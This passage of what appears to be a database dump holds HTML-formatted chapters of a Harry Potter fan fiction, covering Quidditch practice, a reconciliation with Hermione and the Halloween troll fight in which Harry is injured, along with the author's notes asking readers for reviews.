bringing on substitutes so\nthe players could get some sleep. So that&#8217;s all. Any questions before we start\npracticing?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry shook his head.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; It&#8217;s getting a bit too dark to use the actual Snitch, we might\nlose it, so we&#8217;ll use these instead.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Wood pulled a bag of ordinary\nmuggle golf balls out of his pocket and a few minutes later, he and Harry were\nup in the air, Wood throwing the golf balls as hard as he could in every\ndirection for Harry to catch. He even threw a few straight at the ground. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t miss a single one.\nWood was delighted, but after half an hour, night had really fallen and they\ncouldn&#8217;t carry on.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; That Quidditch Cup&#8217;ll have our\nname on it this year,&#8217; said Wood happily as they trudged back up to the castle.\n&#8216; I wouldn&#8217;t be surprised if you turn out better than Charlie Weasley, and he\ncould have played for England if he hadn&#8217;t gone off chasing dragons.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The common room had been deserted\nby the time Harry got back, except for a few seventh years working on large\nprojects, and Harry headed straight to bed.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was so exhausted after his\nworkout that he was able to ignore what he considered to be an overly soft\nmattress, though he was beginning to become used to it, and went right to\nsleep, a hint of what might have been a smile on his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- &#8220; Love is like a cancer, it kills you in the end.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anywho, my &#8216; Golden Rule&#8217; of fanfics is: If you read, you\nmust review.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I follow this rule and I hope you will to. Whether you like\nmy story or not, I WANT TO KNOW!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 17, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Anywho, I&#8217;ve decided to pretty much\nwrite the story however I want and to only put in the events that I think need\nto be in it. I&#8217;d also like everyone to say in his or her reviews what events\nyou&#8217;d like to see, and how you&#8217;d like them to play out. I&#8217;ll try my best to\naccommodate everybody&#8217;s opinions.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">Bye!</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was so\nexhausted after his workout that he was able to ignore what he considered to be\nan overly soft mattress, though he was beginning to become used to it, and went\nright to sleep, a hint of what might have been a smile on his face.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191; &lt;\'}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Perhaps it was\nbecause he was now so busy, what with Quidditch practice three evenings a week\non top of all his homework and his own extra studying, but Harry could hardly\nbelieve it when he realized that he&#8217;d already been at Hogwarts two months. Harry\nhad discovered a new definition of &#8216;home&#8217;. He had always thought that your home\nwas where you lived, which meant that Privet Drive was his home, but he knew\nbetter now. The castle was his home. His lessons, too, were becoming more and\nmore interesting now that they had mastered what Harry considered &#8220;the basics&#8221;.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">All in all it felt\nto Harry as if he was learning about life for the first time. Compared to his\nlife with the Dursleys everything about Hogwarts was fun, even the homework;\nsometimes especially the homework, which he sometimes did in the library with\nHermione if Ron didn&#8217;t need his help, or was busy with something else.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After a few days\nof Hermione not talking to him, Harry had decided he needed to do something\nabout it. He had never minded when the Dursleys had ignored him, but for some\nreason he felt sick knowing that Hermione was angry with him. He had begun to\nfeel differently towards people in general since coming to Hogwarts, but didn&#8217;t\nknow how to deal with them. He was beginning to realize that the Dursleys had\nbeen, and still were, real jerks (to put it mildly!).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He had finally\nsettled on forcing her to talk to him by cornering her in the library one day.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">*****************Flash\nBack********************</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Get out of my\nway, Harry!&#8217; Hermione demanded, in an almost pleading voice after she realized\nthat he wasn&#8217;t going to let her out of the library.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Not until you at least listen to me for a\nmoment!&#8217; said Harry, feeling exasperated. &lt; And I thought Dudley could be\nstubborn sometimes!&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; No!&#8217; she stated, raising her chin so it\nseemed that she was looking down her nose at him although she was actually a\nlittle shorter than Harry. &#8216; Not until either you, or Ron apologises for all\nthe trouble you caused for me.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Well first, it&#8217;s hard to apologise to\nsomeone who won&#8217;t listen to anything you say, and second, I do apologise.&#8217;\nReturned Harry, looking abashed. &#8216; I&#8217;m sorry that you got dragged into it\nbecause you were concerned about m- uh, us&#8230; I mean about Gryffindor house, but\nyou do realize that I didn&#8217;t really have much choice, don&#8217;t you?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione sniffed\nat him, but appeared to be thinking about it. Eventually she nodded her\nacceptance of his stammered apology, and they walked out of the library in much\nlighter spirits with Hermione muttering about people that took some promises\ntoo seriously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">***************End\nFlash Back******************</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#191;&lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">On Halloween\nmorning the students woke to the delicious smell of baking pumpkin wafting\nthrough the corridors. Even better, Professor Flitwick announced in Charms that\nhe thought they were ready to start making objects fly, something they had all\nbeen dying to try since they&#8217;d seen him make Neville&#8217;s toad zoom around the\nclassroom.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry shared a\nsmug look with Hermione. She had insisted on working ahead on it while she and\nHarry were working in the library one day, so neither of them would find the\ntask very gruelling.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Professor Flitwick\nput the class into pairs to practice. Harry&#8217;s partner was Seamus Finnigan. Ron,\nhowever, was to be working with Hermione Granger. It was hard to tell whether\nRon or Hermione was angrier about this. Hermione had said, after Harry had\napologized, that she would talk to Ron as well, even if he hadn&#8217;t apologized,\nbut that didn&#8217;t stop the two of them from spending more energy glaring at each\nother than actually working.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Now, don&#8217;t forget that nice wrist movement\nwe&#8217;ve been practicing!&#8217; squeaked Professor Flitwick, perched on top of his pile\nof books as usual. &#8216; Swish and flick, remember, swish and flick. And saying the\nmagic words properly is very important, too &#8212; never forget Wizard Baruffio, who\nsaid &#8216;s&#8217; instead of &#8216;f&#8217; and found himself on the floor with a buffalo on his\nchest.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a very\ndifficult spell to learn, apparently. Seamus swished and flicked, but the\nfeather they were supposed to be sending skyward just lay on the desktop.\nSeamus got so impatient that he prodded it with his wand and set fire to it &#8212;\nHarry stamped it out quickly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">While Seamus was\ngetting more and more frustrated with the lesson, Harry was, as always, working\non more difficult uses of the spell. Specifically, he was practicing levitating\nheavier objects, when he thought no one would notice.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron wasn&#8217;t having\nsuch luck, although he did seem to be doing better than most of the class. Each\ntime he yelled the spell and flicked his wand the feather would twitch upward\nfor a moment before settling back down. Most of the class hadn&#8217;t gotten much better\nresults than Seamus was getting.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; You&#8217;re saying it wrong!&#8217; Hermione snapped\nat one point. &#8216;It&#8217;s Wing-gar-dium Levi-o-sa, make the &#8216;gar&#8217; nice and long.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Then you do it!&#8217; Ron finally shouted at\nHermione who hadn&#8217;t tried as yet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione turned to\nthe feather with a disdainful sniff for Ron and pointed her wand at the\nfeather.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Wingardium Leviosa!&#8217; she cried, with a\nflick of her wand. Nothing happened for a moment, but then, just as Ron smirked\nand was about to make some comment that Harry knew would end up in another\nfight, the feather slowly floated up off the table until it was level with\nHermione&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">By the end of the\nclass, both Hermione and Harry had earned Gryffindor ten points each and Ron\nhad earned another five after calming down enough to perform the spell\nproperly. Harry thought that Ron could do a lot better in his lessons if he\ncould just learn to be calmer.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216;Wing-gar-dium Levi-o-sa, make the &#8216;gar&#8217; nice\nand long.&#8217; Ron muttered snidely to Harry as they left the class. &#8216; Honestly,\nHarry, she&#8217;s such a know-it-all! I don&#8217;t know how you can stand her!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Just then someone\nbrushed past the two in a hurry. Harry only caught a glimpse of watery cinnamon\neyes and bushy brown hair before the person was around a corner and out of\nsight.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; I think she heard you.&#8217; Said Harry with his\neyebrows drawn together in concern.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron said &#8216; So\nwhat? She must realize she&#8217;s not making any friends.&#8217; But he looked rather\nuncomfortable.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione didn&#8217;t\nturn up for the next class and wasn&#8217;t seen all afternoon. On their way down to\nthe Great Hall for the Halloween feast, Harry and Ron overheard Parvati Patil\ntelling her friend Lavender that Hermione was crying in the girls&#8217; bathroom and\nwanted to be left alone. Ron looked still more awkward at this, but a moment\nlater they had entered the Great Hall, where the Halloween decorations put\nHermione out of his mind.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">A thousand live\nbats fluttered from the walls and ceiling while a thousand more swooped over\nthe tables in low black clouds, making the candles in the pumpkins stutter. The\nfeast appeared suddenly on the golden plates, as it had at the start-of-term\nbanquet.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was just\nhelping himself to a baked potato when Professor Quirrell came sprinting into\nthe hall, his turban askew and terror on his face. Everyone stared as he\nreached Professor Dumbledore&#8217;s chair, slumped against the table, and gasped, &#8216;\nTroll &#8212; in the dungeons &#8212; thought you ought to know.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He then sank to\nthe floor in a dead faint. There was an uproar. It took several purple\nfirecrackers exploding from the end of Professor Dumbledore&#8217;s wand to bring\nsilence.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Prefects,&#8217; he rumbled, &#8216; lead your Houses\nback to the dormitories immediately!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Percy was in his\nelement. &#8216; Follow me! Stick together, first years! No need to fear the troll if\nyou follow my orders! Stay close behind me, now. Make way, first years coming\nthrough! Excuse me, I&#8217;m a prefect!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; How could a troll get in?&#8217; Harry asked as\nthey climbed the stairs.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Don&#8217;t ask me, they&#8217;re supposed to be really\nstupid,&#8217; said Ron. &#8216; Maybe Peeves let it in for a Halloween joke.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t think\nso, and he said as much. &#8216; Peeves can be cruel sometimes, but not vicious. Not\nlike this.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They passed\ndifferent groups of people hurrying in different directions. As they jostled\ntheir way through a crowd of Hufflepuffs who seemed determined to stay and help\nthe Hogwarts staff, Harry suddenly grabbed Ron&#8217;s arm.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Come on, Ron.&#8217; Harry said steering Ron away\nfrom the other first years who seemed to actually believe in all of Percy&#8217;s\nbravado.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Where are we going? Percy better not see\nus!&#8217; Run demanded, pulling back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; We&#8217;ve got to go find Hermione. She doesn&#8217;t\nknow about the troll!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron frowned but\ndidn&#8217;t hesitate to continue following Harry. &#8216;Alright,&#8217; he said,&#8217; but if we get\nin trouble I&#8217;m blaming Hermione.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; With any luck we can find her, and get back\nto the common room without getting caught by the teachers or the troll.&#8217;\nAnswered Harry.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;&#8216; Great!&#8217; Ron muttered. &#8216; You just had to remind me about the\ntroll.&#8217; Then he stopped suddenly. &#8216;Shoot!&#8217; he spat grabbing Harry&#8217;s arm and\npulling him behind a suit of armour.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Wha-?&#8217; Harry started before Ron shushed\nhim.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Peering around it,\nhowever, they saw not Percy but Snape. He crossed the corridor and disappeared\nfrom view.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; What&#8217;s he doing?&#8217; Harry whispered. &#8216; Why\nisn&#8217;t he down in the dungeons with the rest of the teachers?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Got me.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Quietly as\npossible, they crept along the next corridor after Snape&#8217;s fading footsteps.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; He&#8217;s heading for the third floor,&#8217; Harry\nsaid, but Ron held up his hand.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Can you smell something?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sniffed and\na foul stench reached his nostrils, a mixture of old socks and the kind of\npublic toilet no one seems to clean.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">And then they\nheard it &#8212; a low grunting, and the shuffling footfalls of gigantic feet. Ron\npointed &#8212; at the end of a passage to the left, something huge was moving toward\nthem. They shrank into the shadows and watched as it emerged into a patch of\nmoonlight.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a horrible\nsight. Twelve feet tall, its skin was a dull, granite grey, its great lumpy\nbody like a boulder with its small bald head perched on top like a coconut. It\nhad short legs thick as tree trunks with flat, horny feet. The smell coming\nfrom it was incredible. It was holding a huge wooden club, which dragged along\nthe floor because its arms were so long.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The troll stopped\nnext to a doorway and peered inside. It waggled its long ears, making up its\ntiny mind, then slouched slowly into the room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; The keys in the lock,&#8217; Harry muttered. &#8216; We\ncould lock it in.&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Good idea.&#8217; Ron whispered back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They edged toward\nthe open door, mouths dry, praying the troll wasn&#8217;t about to come out of it.\nWith one great leap, Harry managed to grab the key, slam the door, and lock it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Hah!&#8217; crowed Ron, triumphantly.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt better\nknowing that the troll was locked up. This way there would be no danger to\nHermione, and the professors could be called in to deal with the troll.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Flushed with their\nvictory, they started to run back up the passage, but as they reached the\ncorner they heard something that made their hearts stop &#8212; a high, petrified\nscream &#8212; and it was coming from the chamber they&#8217;d just chained up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Oh, no,&#8217; said Ron, pale as the Bloody\nBaron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt his\nstomach drop down to his feet. He couldn&#8217;t breath except to gasp &#8216; Hermione!&#8217;\nThen he felt angry. Harry only rarely got angry and he controlled himself when\nhe did, but he had never felt so angry before because this anger came from his\nfear. Not fear of the troll, but fear for Hermione&#8217;s well being, and for the\nfirst time in his life, Harry acted without thinking. For the first time, Harry\ncouldn&#8217;t control his emotions, and his emotions demanded just one thing. STOP\nTHE TROLL!</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Without thinking\nabout what he could do to stop the troll, Harry whipped around and ran full\ntilt back down the hall towards the frightened cries.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was the last\nthing that Ron wanted to do, running back towards the troll, but he wasn&#8217;t\nabout to let his best friend face something like that by himself.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t\nbother slowing down as he approached the locked door for he heard Ron shout &#8216; <i>Alohomora</i>!&#8217;\nfrom right behind him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The door swung\nopen and Harry flew inside without pause.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione Granger\nwas shrinking against the wall opposite, looking as if she was about to faint.\nThe troll was advancing on her, knocking the sinks off the walls as it went.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Distract it!&#8217; Harry roared at Ron, while\ncharging at the troll himself. In his rage Harry had mostly forgotten about his\nmagic and instinctively relied on what he had practiced for years.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As Ron shouted and\nthrew a large pipe at the troll Harry leaped forward, slamming his foot into\nwhere a person&#8217;s kidney would be. It was like kicking a brick wall, and had\nabout as much effect, but it had at least gotten the monster&#8217;s attention.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The troll stopped\na few feet from Hermione. It lumbered around, blinking stupidly, to see what\nhad hit it, much as one might look for an annoying fly. Its mean little eyes\nsaw Harry. It hesitated, and then made for him instead, lifting its club as it\nwent.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Oy, pea-brain!&#8217; yelled Ron from the other\nside of the chamber, and he threw another metal pipe at it. The troll didn&#8217;t\neven seem to notice the pipe hitting its shoulder, but it heard the yell and\npaused again, turning its ugly snout toward Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Even though Harry\nstill wasn&#8217;t really thinking, he saw his chance to get to Hermione, who still\nlooked scared, but didn&#8217;t seem to be about to faint anymore.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Come on, run, <i>run</i>!&#8217; Harry yelled at\nHermione, holding her arm and putting an arm around her waist to help her\nstand, but once she was standing she still couldn&#8217;t move. She was still flat\nagainst the wall, her mouth open with terror.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The shouting and\nthe echoes seemed to be driving the troll berserk. It roared again and started\ntoward Ron, who was nearest and had no way to escape.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; RON!&#8217; Harry yelled, and his sudden movement\nseemed to snap Hermione back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione still\nseemed panicked, but she quickly picked up her wand, from where she had dropped\nit and pointed it at the troll as Harry ran to help Ron.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron was starting\nto panic himself and was casting a spell in the troll&#8217;s direction, but it\ncouldn&#8217;t be heard over the troll&#8217;s roar and it didn&#8217;t seem to have much effect\nanyway.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry ran around\nto the front of the troll, only thinking that he had to stop it before it could\nhurt one of his friends. The only true friends Harry had at Hogwarts - or\nanywhere else for that matter.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As Harry turned to\nface it he saw Hermione&#8217;s hex take effect as brilliant lights exploded in front\nof the troll&#8217;s eyes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Howling with pain,\nthe troll twisted and flailed its club, forcing Harry to take a step back or\njoin the headless hunt (Nick had mentioned it to Harry in passing).</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Everything seemed\nto slow down for Harry as the club passed through the spot where his head had\nbeen a moment ago. When the club went by, Harry flexed his arm and caught the\nknife that Mr. Osakawa had given him as it fell from it&#8217;s leather sheath. The\nknife that was meant to be used, not to be an ornament.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He flipped the\nknife around to hold it blade-forward, as he jumped toward the troll thrusting\nforward. As the tip of the knife pressed against the skin of the troll, time\nappeared to return to normal speed for Harry and he felt the knife slam into\nthe troll&#8217;s chest with little resistance, right to the hilt. Harry knew he had\nkilled the troll, but the troll wasn&#8217;t about to admit it right away.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Before Harry had a\nchance to leap back away, the club came swinging back to catch Harry in the\nside sending him flying into the wall. Then everything went dark for Harry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron looked on in\nhorror, as his friend put himself between him and the troll, narrowly missing a\ncrushing blow. Then Harry moved to fast to see exactly what he did, but Ron saw\nhim seem to punch the troll&#8217;s chest before the troll brought it&#8217;s club back around\nand knocked Harry into the wall.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t move.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron froze staring,\nwaiting for Harry to move. To groan. To breathe.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron could hear\nHermione screaming again, but it came from a great distance. Ron snapped out of\nit when the troll staggered towards Harry&#8217;s limp form, seemingly weakened from\nHarry&#8217;s punch, but intent on finishing Harry off- if it hadn&#8217;t already.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8216; Nooooo!&#8217; cried\nRon and Hermione at the same time.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">In unison, Ron and\nHermione shouted the first spell to come to mind. &#8216; Wingardium Leviosa!&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The club flew\nsuddenly out of the troll&#8217;s hand, rose high, high up into the air, turned\nslowly over &#8212; and dropped, with a sickening crack, onto its owner&#8217;s head. The\ntroll swayed on the spot and then fell flat on its face, hiding Harry&#8217;s knife\nunderneath it, with a thud that made the whole room tremble.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hermione\nshared a terrified look before rushing to their friend&#8217;s side, fearing the\nworst, but still hoping.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione reached\nout a hand as if she wanted to touch him but was afraid to. She and Ron stared\nfor a long moment before&#8230;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Look!&#8217; cried Ron. &#8216; He&#8217;s still breathing!&#8217;\nand he reached out, and with Hermione helping, carefully rolled Harry from his\nside onto his back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Tears of relief\nstreaked both friends&#8217; cheeks as Harry groaned and turned his head, waking up.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Opening his eyes a\nbit, Harry saw the slightly blurred forms of Hermione and Ron. He didn&#8217;t move\nfor a moment, trying to remember where he was and why his side seemed to be on\nfire.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; The troll?&#8217; he asked as the events before\nhe was knocked out came back to him.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Forget about the troll, Harry, we&#8217;ve got to\nget you to Madame Pomfrey &#8211;&#8216; Hermione started to say, but was cut off by a groan\nfrom Harry, who had tried to sit up. &#8216; Harry! Stop! Just wait a moment! Ron,\ngrab his other arm and we&#8217;ll lift on three. Okay, Harry?&#8217;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; On three.&#8217; Harry agreed, gritting his teeth\nagainst the pain.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; One, two, three.&#8217; Hermione counted and her\nand Ron pulled on Harry&#8217;s arms helping him stand, trying not to let his torso\nbend much.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Even so, Harry let\nout a groan, and tears pricked his eyes as he stood, with Ron supporting his\ninjured side and Hermione on the other.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Glancing down,\nHermione saw some red on the floor where Harry had lain. Pale faced she gulped\nwith worry for her friend, but kept quiet for Ron&#8217;s sake.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">They slowly made\ntheir way across the chamber to the door, being careful to support Harry. The\ngoing was slow, and it tore at Hermione and Ron&#8217;s hearts each time Harry let\nout a grunt of pain. He was hurt bad. It was easy to see the pain in his eyes\nwith his glasses out of the way.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry was pretty\nout of it by the time they made it to the great hall, from there they had to\nclimb a set of stairs that lead to the hospital wing. The pain was starting to\nget to him, and Hermione could see that at each step Harry was leaving part of\na bloody footprint, the blood having soaked his robes and dripped down his leg.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron, however, was\nsilently cursing himself, and didn&#8217;t notice the blood.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&lt; I should have\ndone something sooner!&gt; he berated himself. &lt; My best friend risked his\nneck for me while I stood there like a brainless git! I don&#8217;t deserve a friend\nlike Harry&#8230;&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The tired Trio\nstopped at the foot of the stairs. By this point Harry was more or less\nunconscious again, and his legs seemed to be moving on their own.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron and Hermione\nshared a forlorn look. How were they going to get him up the stairs?</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The were saved\nfrom having to work out a solution as a group of professors came around the\ncorner of one of the corridors leading from the great hall. It seemed the staff\nhad formed patrol groups to try to find the troll before it found someone on\nit&#8217;s own.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Professor McGonagall!&#8217; Hermione called out\nin relief as she recognized her favourite Professor. Professors Snape and\nFlitwick were with her, as well as another Professor whose name Hermione\ncouldn&#8217;t remember.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At first, as\nMcGonagall came over she looked angry.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; Why aren&#8217;t you in your dormitory?&#8217; she\ndemanded as she approached, but stopped short when she saw what Ron and\nHermione were carrying.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;&#8216; The troll?&#8217; she asked a little faintly as\nshe came closer.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron could only nod\nin answer, still mostly blaming himself for what had happened to his friend.\n&lt; If only I&#8217;d acted sooner!&gt;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Snape seemed about\nto start a lecture, but even he thought better of it as he saw Harry&#8217;s\ncondition. With the help of the four Professors, Harry was quickly levitated\nand rushed to Madame Pomfrey.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">AN- I thought this was a good place to end\nit for now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 18, '\n\n\n\n\n\n\n\n<p class="MsoNormal">As always your comments and suggestions are\ngreatly appreciated, and always remember my Golden Rule: &#8216; If you read, you\nmust review.&#8217; And speaking of reviews, I&#8217;m putting in a thanks section at the\nend of this chapter. I really feel I should have done it earlier&#8230; anywhoooo&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">H/H forever!!! </p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">Snape seemed about to start a lecture, but\neven he thought better of it as he saw Harry&#8217;s condition. With the help of the\nProfessors, Harry was quickly levitated and rushed to Madame Pomfrey.</p>\n\n<p class="MsoNormal">As Ron and Hermione followed Snape and\nMcGonagall, Flitwick and the other Professor, whom neither Ron nor Hermione\nrecognized, left back down the corridor leading to the girls&#8217; lavatory.\nPresumably they were going to deal with the troll more permanently, as neither\nRon nor Hermione had noticed whether it was dead, or merely unconscious.</p>\n\n<p class="MsoNormal">As the group traveled towards the hospital\nwing McGonagall asked&#8230; or rather demanded- an explanation of what had happened.\nRon did most of the talking as Hermione was too upset about Harry&#8217;s current\ncondition to do more than add in a few details here and there. Ron went on in\ngreat detail about how he had done nothing as the troll smashed Harry into the\nwall, until McGonagall finally told him to stop being foolish.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThere was nothing 